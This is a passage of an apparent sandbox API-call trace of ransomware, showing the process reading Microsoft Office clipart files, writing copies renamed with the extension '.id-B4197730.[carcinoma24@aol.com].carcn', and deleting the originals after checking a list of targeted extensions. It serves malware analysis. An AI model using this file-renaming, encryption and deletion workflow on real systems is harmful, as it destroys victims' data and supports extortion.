Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf")) returned 1 [0271.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0271.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0271.187] lstrlenW (lpString=".doc") returned 4 [0271.187] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.187] lstrlenW (lpString=".docx") returned 5 [0271.187] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.187] lstrlenW (lpString=".pdf") returned 4 [0271.187] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.187] lstrlenW (lpString=".xls") returned 4 [0271.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.187] lstrlenW (lpString=".xlsx") returned 5 [0271.187] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.187] lstrlenW (lpString=".ppt") returned 4 [0271.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0271.188] lstrlenW (lpString=".zip") returned 4 [0271.188] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.188] lstrlenW (lpString=".rar") returned 4 [0271.188] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.188] lstrlenW (lpString=".bz2") returned 4 [0271.188] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.188] lstrlenW (lpString=".7z") returned 3 [0271.188] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0271.188] lstrlenW (lpString=".dbf") returned 4 [0271.188] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0271.188] lstrlenW (lpString=".1cd") returned 4 [0271.188] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0271.188] lstrlenW (lpString=".jpg") returned 4 [0271.188] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0271.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0271.188] lstrlenW (lpString=".doc") returned 4 [0271.188] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.188] lstrlenW (lpString=".docx") returned 5 [0271.188] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.189] lstrlenW (lpString=".pdf") returned 4 [0271.189] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.189] lstrlenW (lpString=".xls") returned 4 [0271.189] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.189] lstrlenW (lpString=".xlsx") returned 5 [0271.189] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.189] lstrlenW (lpString=".ppt") returned 4 [0271.189] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0271.189] lstrlenW (lpString=".zip") returned 4 [0271.189] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.189] lstrlenW (lpString=".rar") returned 4 [0271.189] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.189] lstrlenW (lpString=".bz2") returned 4 [0271.189] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.189] lstrlenW (lpString=".7z") returned 3 [0271.189] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0271.189] lstrlenW (lpString=".dbf") returned 4 [0271.189] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0271.189] lstrlenW (lpString=".1cd") returned 4 [0271.189] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0271.190] lstrlenW (lpString=".jpg") returned 4 [0271.190] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.190] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0271.190] lstrlenW (lpString="DD00261_.WMF") returned 12 [0271.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0271.191] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=37974) returned 1 [0271.191] CloseHandle (hObject=0x374) returned 1 [0271.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf")) returned 0x220 [0271.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0271.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0271.192] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.192] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0271.193] GetLastError () returned 0x0 [0271.193] ReadFile (in: hFile=0x374, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x9456, lpOverlapped=0x0) returned 1 [0271.250] WriteFile (in: hFile=0x43c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x9460, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x9460, lpOverlapped=0x0) returned 1 [0271.264] ReadFile (in: hFile=0x374, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0271.264] WriteFile (in: hFile=0x43c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0271.264] SetEndOfFile (hFile=0x43c) returned 1 [0271.264] CloseHandle (hObject=0x43c) returned 1 [0271.267] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.267] SetEndOfFile (hFile=0x374) returned 1 [0271.274] CloseHandle (hObject=0x374) returned 1 [0271.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0271.277] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf")) returned 1 [0271.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0271.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0271.279] lstrlenW (lpString=".doc") returned 4 [0271.279] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.279] lstrlenW (lpString=".docx") returned 5 [0271.279] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.279] lstrlenW (lpString=".pdf") returned 4 [0271.279] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.279] lstrlenW (lpString=".xls") returned 4 [0271.280] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.280] lstrlenW (lpString=".xlsx") returned 5 [0271.280] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.280] lstrlenW (lpString=".ppt") returned 4 [0271.280] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0271.280] lstrlenW (lpString=".zip") returned 4 [0271.280] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.280] lstrlenW (lpString=".rar") returned 4 [0271.280] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.280] lstrlenW (lpString=".bz2") returned 4 [0271.280] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.280] lstrlenW (lpString=".7z") returned 3 [0271.280] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0271.280] lstrlenW (lpString=".dbf") returned 4 [0271.280] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0271.280] lstrlenW (lpString=".1cd") returned 4 [0271.280] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0271.280] lstrlenW (lpString=".jpg") returned 4 [0271.280] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0271.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0271.281] lstrlenW (lpString=".doc") returned 4 [0271.281] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.281] lstrlenW (lpString=".docx") returned 5 [0271.281] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.281] lstrlenW (lpString=".pdf") returned 4 [0271.281] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.281] lstrlenW (lpString=".xls") returned 4 [0271.281] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.281] lstrlenW (lpString=".xlsx") returned 5 [0271.281] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.281] lstrlenW (lpString=".ppt") returned 4 [0271.281] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0271.281] lstrlenW (lpString=".zip") returned 4 [0271.281] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.281] lstrlenW (lpString=".rar") returned 4 [0271.281] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.281] lstrlenW (lpString=".bz2") returned 4 [0271.281] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.281] lstrlenW (lpString=".7z") returned 3 [0271.281] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0271.281] lstrlenW (lpString=".dbf") returned 4 [0271.281] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0271.282] lstrlenW (lpString=".1cd") returned 4 [0271.282] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0271.282] lstrlenW (lpString=".jpg") returned 4 [0271.282] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.282] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0271.282] lstrlenW (lpString="DD00297_.WMF") returned 12 [0271.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0271.284] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=40030) returned 1 [0271.284] CloseHandle (hObject=0x374) returned 1 [0271.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf")) returned 0x220 [0271.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0271.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0271.285] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.285] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0271.285] GetLastError () returned 0x0 [0271.286] ReadFile (in: hFile=0x374, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x9c5e, lpOverlapped=0x0) returned 1 [0271.569] WriteFile (in: hFile=0x54c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x9c60, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x9c60, lpOverlapped=0x0) returned 1 [0271.570] ReadFile (in: hFile=0x374, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0271.571] WriteFile (in: hFile=0x54c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0271.571] SetEndOfFile (hFile=0x54c) returned 1 [0271.571] CloseHandle (hObject=0x54c) returned 1 [0271.571] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.571] SetEndOfFile (hFile=0x374) returned 1 [0271.574] CloseHandle (hObject=0x374) returned 1 [0271.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0272.487] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf")) returned 1 [0273.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0273.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0273.017] lstrlenW (lpString=".doc") returned 4 [0273.017] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.017] lstrlenW (lpString=".docx") returned 5 [0273.017] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.017] lstrlenW (lpString=".pdf") returned 4 [0273.017] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.017] lstrlenW (lpString=".xls") returned 4 [0273.017] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.017] lstrlenW (lpString=".xlsx") returned 5 [0273.017] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.017] lstrlenW (lpString=".ppt") returned 4 [0273.017] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0273.018] lstrlenW (lpString=".zip") returned 4 [0273.018] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.018] lstrlenW (lpString=".rar") returned 4 [0273.018] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.018] lstrlenW (lpString=".bz2") returned 4 [0273.018] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.018] lstrlenW (lpString=".7z") returned 3 [0273.018] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0273.018] lstrlenW (lpString=".dbf") returned 4 [0273.018] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0273.018] lstrlenW (lpString=".1cd") returned 4 [0273.018] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0273.018] lstrlenW (lpString=".jpg") returned 4 [0273.018] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0273.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0273.019] lstrlenW (lpString=".doc") returned 4 [0273.019] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.019] lstrlenW (lpString=".docx") returned 5 [0273.019] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.019] lstrlenW (lpString=".pdf") returned 4 [0273.019] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.019] lstrlenW (lpString=".xls") returned 4 [0273.019] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.019] lstrlenW (lpString=".xlsx") returned 5 [0273.019] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.019] lstrlenW (lpString=".ppt") returned 4 [0273.019] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0273.019] lstrlenW (lpString=".zip") returned 4 [0273.019] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.019] lstrlenW (lpString=".rar") returned 4 [0273.019] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.019] lstrlenW (lpString=".bz2") returned 4 [0273.019] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.019] lstrlenW (lpString=".7z") returned 3 [0273.019] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0273.020] lstrlenW (lpString=".dbf") returned 4 [0273.020] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0273.020] lstrlenW (lpString=".1cd") returned 4 [0273.020] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0273.020] lstrlenW (lpString=".jpg") returned 4 [0273.020] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.020] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0273.020] lstrlenW (lpString="DD00687_.WMF") returned 12 [0273.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0273.021] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=20784) returned 1 [0273.021] CloseHandle (hObject=0x540) returned 1 [0273.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf")) returned 0x220 [0273.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0273.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0273.022] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.022] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0273.023] GetLastError () returned 0x0 [0273.023] ReadFile (in: hFile=0x540, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x5130, lpOverlapped=0x0) returned 1 [0273.146] WriteFile (in: hFile=0x554, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x5140, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x5140, lpOverlapped=0x0) returned 1 [0273.148] ReadFile (in: hFile=0x540, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.148] WriteFile (in: hFile=0x554, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0273.148] SetEndOfFile (hFile=0x554) returned 1 [0273.148] CloseHandle (hObject=0x554) returned 1 [0273.148] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.148] SetEndOfFile (hFile=0x540) returned 1 [0273.153] CloseHandle (hObject=0x540) returned 1 [0273.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0273.154] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf")) returned 1 [0273.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0273.155] lstrlenW (lpString="C:\\Program Files\\Microsoft 